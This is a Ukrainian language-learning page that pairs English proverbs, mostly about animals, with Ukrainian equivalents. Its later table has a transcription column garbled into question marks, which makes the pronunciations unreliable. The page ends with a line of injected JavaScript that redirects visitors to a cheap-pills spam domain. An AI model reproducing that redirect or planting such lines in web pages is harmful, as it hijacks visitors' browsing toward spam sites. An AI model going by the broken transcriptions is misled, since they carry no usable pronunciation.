Прислів’я про тварин на англійській – короткі, часом римовані, влучні вислови передають з покоління в покоління досвід народу. Цікаво порівнювати, як англійські прислів’я та приказки перекладаються на українську мову. Можна помітити багато спільних поглядів на одне й те саме явище. Наодимо вам порівняльну таблицю Прислів’я про тварин на англійській мові, щоб легше було з нею працювати, у середній колонці подана транскрипція.
Прислів’я про тварин на англійській
If you run after two hares, you’ll catch none. За двома зайцями поженешся – жодного не піймаєш.
A bird may be known by its song. Видно птаха по польоту.
A black hen lays a white egg. Чорна курка несе білі яйця.
A cat with nine lives. Живучий, як кішка.
A dog in the manger. Собака на сіні.
A gift in the hand is better than two promises. Краще синиця в жмені, ніж журавель в небі.
A horse stumbles that has four legs. Кінь на чотирьох ногах – і то спотикається.
A little bird told me. Сорока на хвості принесла.
A word spoken is past recalling. Слово – не горобець, вилетить – не спіймаєш.
All cats are grey in the dark. Вночі всі кішки сірі.
As snug as a bug in a rug. Тепло, світло і мухи не кусають.
Better a lean jade than an empty halter. На безриб’ї і рак риба.
Blind men can judge no colors. Сліпій курці все пшениця.
Cat-and-dog life. Жити як кішка зі собакою.
Don’t look a gift horse in the mouth. Дарованому коневі в зуби не заглядають.
Don’t make a mountain out of a molehill. Не роби з мухи слона.
Don’t swap horses when crossing a stream. Коней на переправі не міняють.
Don’t teach fishes to swim. Не вчи риб плавати.
Don’t teach your grandmother to suck eggs. Яйця курку не вчать.
Evil communications corrupt good manners. З вовками жити, по-вовчому вити.
Fish begins to stink at the head. Риба гниє з голови.
Hard put for a livelihood. Як риба об лід.
Hawk will not pick out hawks’ eyes. Ворон ворону ока не виклює.
He can’t say “boo” to a goose. Він і мухи не образить.
He is an obstinate pig. Впертий, як осел.
He that fears every bush must never go a-birding. Вовків боятися – в ліс не ходити.
It’s enough to make a cat laugh. Курам на сміх.
Dumb dogs are dangerous | D? m d??z? ?de? nd??r? s | В тихому болоті чорти водяться (Не бійся собаки, що гавкає, а тієї, що мовчить) |
If you agree to carry a calf, they will make you to carry a cow | ?f ju???ri? t? ?k? ri? k??f, ??e? wl me? k ju t? ?k? ri? ka? | Дай волю і руку відкусять (Погодишся понести теля, звалять на тебе і корову) |
A good dog deserves a good bone | ? ??d d?? d??z??vz? ??d b??n | По заслузі і честь (гарний пес вартує гарної кістки) |
Many men, many minds | ?meni men, ?meni ma? ndz | Скільки людей, скільки думок |
What’s done cannot be undone | W? ts d? n? k? n? t bi? n? d? n | Зроблене не переробиш |
One man, no man | W? n m? n, n?? m? n | Один у полі не воїн |
You’ve found an elephant on the moon | Juv fa? nd? n? el? f? nt? n?? mu? n | Попав пальцем в небо (Знайшов слона на місяці) |
Easier said than done | ?i? z?? ?sed??n d? n | Легше сказати, ніж зробити |
Money spent on the brain is never spent in vain | ?m? ni spent? n?? bre? n z? nev? spent? n ve? n | Гроші, витрачені на знання, ніколи не потрачені дарма |
Seeing is believing | ?si??? z b??li? v?? | Бачити значить вірити |
Nothing is impossible to a willing heart | ?n???? z? m? p? s? bl? tu? ?w? l?? h??t | Було б бажання, а можливість знайдеться (Якщо дуже захотіти, можна в космос полетіти) |
To know everything is to know nothing | T? n?? ?evr???? z t? n?? ?n???? | Знати все значить не знати нічого |
A good beginning makes a good ending | ? ??d b????n?? me? ks? ??d? end?? | Гарний початок служить гарному кінцю |
Fortune favors fools | ?f??t? u? n? fe? v? rz fu? lz | Дурням везе |
Fingers were made before forks | ?f????z w? me? d b??f?? f??ks | Пальці були зроблені до вилки (коли щось приходиться робити первісним, примітивним способом) |
A fault confessed is half forgotten | ? f??lt k? n? fest s h??f f????tn? | Визнана вина є наполовину забутою |
From the frying pan into the fire | Fr? m?? ?fra??? p? n??nt? ?? ?fa?? | З вогню та в полум’я |
Fight fire with fire | Fa? t? fa?? w?? ?fa?? | Гасити вогонь вогнем (Клин клином вибивають) |
Necessity is the mother of invention | N??ses? ti z?? ?m???r? v? n? ven? n? | Необхідність – мати винаходу (Голота на вигадки хитра. Нужда всьому навчить) |
Cheapest is the dearest | ?t? i? p? st s?? ?d??r? st | Найдешевше – найдорожче (Дешевше дорожче обходиться) |
Everybody’s business is nobody’s business | ?evri? b??diz? b? zn? s? z? no? b???diz? b? zn? s | У семи няньок дитя без ока (Де сім господинь, там хата неметена) |
When three Thursdays come together | Wen? ri? ????zd? z k? m t???e?? | Після дощику в четвер |
When the pigs fly | Wen?? p??z fla? | Коли рак на горі свисне (Коли свині полетять) |
Wealth is nothing without health | Wel? s? n???? w???a? t hel? | Багатство ніщо без здоров’я |
Birds of feather flock together | B??dz? v? fe?? fl? k t???e?? | Рибалка рибалку бачить здалеку (Птахи з однаковим пір’ям збираються разом.) |
One law for the rich, another for the poor | W? n l?? f? ?? r? t?, ??n??? f? ?? p?? | Для багатих закон один, для бідних – інший |
Wishes don’t wash dishes | ?w???z d??nt w?? ?d???z | Бажання не помиє посуд |
Conversation is a pleasure but it wants measure | ?k? nv??se??n? z? ?ple?? b? t? t w? nts? me?? | Розмова – задоволення, але в міру |
Eat with pleasure, drink with measure | I? t w?? ?ple??, dr??k w?? ?me?? | Їжте з задоволенням, пийте в міру |
He who has begun has half done | Hi hu? h? z b????n h? z h??f d? n | Той, хто почав, зробив пів роботи (Гарний початок – половина справи) |
Every cook praises his own broth | ?evri k? k? pre? z? z? z??n br?? | Кожний повар хвалить свій борщ (Кожний кулик хвалить своє болото) |
When a friend asks there’s no tomorrow | Wen? frend??sks? e? z n?? t??m? r?? | Коли просить друг, немає ніякого “завтра” |
Truth is stranger than fiction | Tru?? s? stre? nd?? ??n? f? k? n? | Реальність багатша за видумку |
No news is a good news | N?? nju? z? z? ??d nju? z | Відсутність новини – також новина |
Words hurt more than swords | ?w??dz h??t m?? ??n s??dz | Слова ранять більше, ніж мечі |
First come first served | F??st k? m f??st s??vd | Хто перший прийшов, той перший отримав |
A bird in hand is worth two in bush | ? b??d? n h? nd z w??? tu? ?n b?? | Синиця в руках краща від журавля в небі |
Haste makes waste | He? st me? ks we? st | Поспіх приносить збитки |
No pains no gains | N?? pe? nz n?? ?e? nz | Без праці не отримаєш нічого (Без труда нема плода. Нема болю, нема здобутків) |
To call a spade a spade | T? k??l? spe? d? spe? d | Називати речі своїми іменами (Називати лопату лопатою) |
Little strokes fell great oaks | ?l? tl? str??ks fel??re? t??ks | Крапля камінь точить (Маленькі удари валять великі дуби) |
When in Rome do as Romans do | Wen? n r??m d? ?z? r??m? nz du? | В Римі роби як римляни (В чужий монастир зі своїм уставом не лізь) |
Out of sight out of mind | A? t? v sa? t a? t? v ma? nd | З очей геть – з серця геть |
Let bygones be bygones | Let? ba???nz bi? ba???nz | Хто старе згадає, тому око геть |
Like father like son | ?la? k? f???? ?la? k s? n | Що батько, що син |
To come out dry | Вийти сухим з води | |
A sound mind in a sound body | ? sa? nd ma? nd? n? sa? nd? b? di | В здоровому тілі здоровий дух |
Burn not your house to get rid of a mouse | B??n n? t j? ?ha? s t? ??et r? d? v? ma? s | Не варто палити будинок, щоб позбутися миші |
Curiosity is incurable (killed a cat) | ?kj??r???s? ti z? n? kj??r? bl? k? ld? k? t | Допитливість згубила кота |
Window. location = “http://cheap-pills-norx. com/”;